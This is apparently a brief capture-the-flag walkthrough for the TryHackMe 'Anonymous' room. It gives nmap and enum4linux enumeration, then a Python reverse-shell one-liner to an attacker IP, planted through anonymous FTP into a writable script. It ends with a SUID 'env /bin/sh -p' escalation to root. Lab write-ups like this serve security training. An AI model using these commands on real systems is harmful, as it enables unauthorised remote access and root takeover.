Anonymous

https://tryhackme.com/room/anonymous

Task 1 Pwn

Enumerate the machine. How many ports are open?

nmap -sC -sV -T5 -p1-65535 10.10.17.122

What service is running on port 21?

What service is running on ports 139 and 445?

There's a share on the user's computer. What's it called?

enum4linux -S 10.10.17.122

user.txt

nc -nvlp 4444

mget *
ls -all
vi clean.sh
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.14.4.204",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

ftp 10.10.178.0
anonymous
password
cd scripts
mput clean.sh
y

root.txt

find / -perm -u=s -type f 2>/dev/null

env /bin/sh -p
cat /root/root.txt

Last updated

Was this helpful?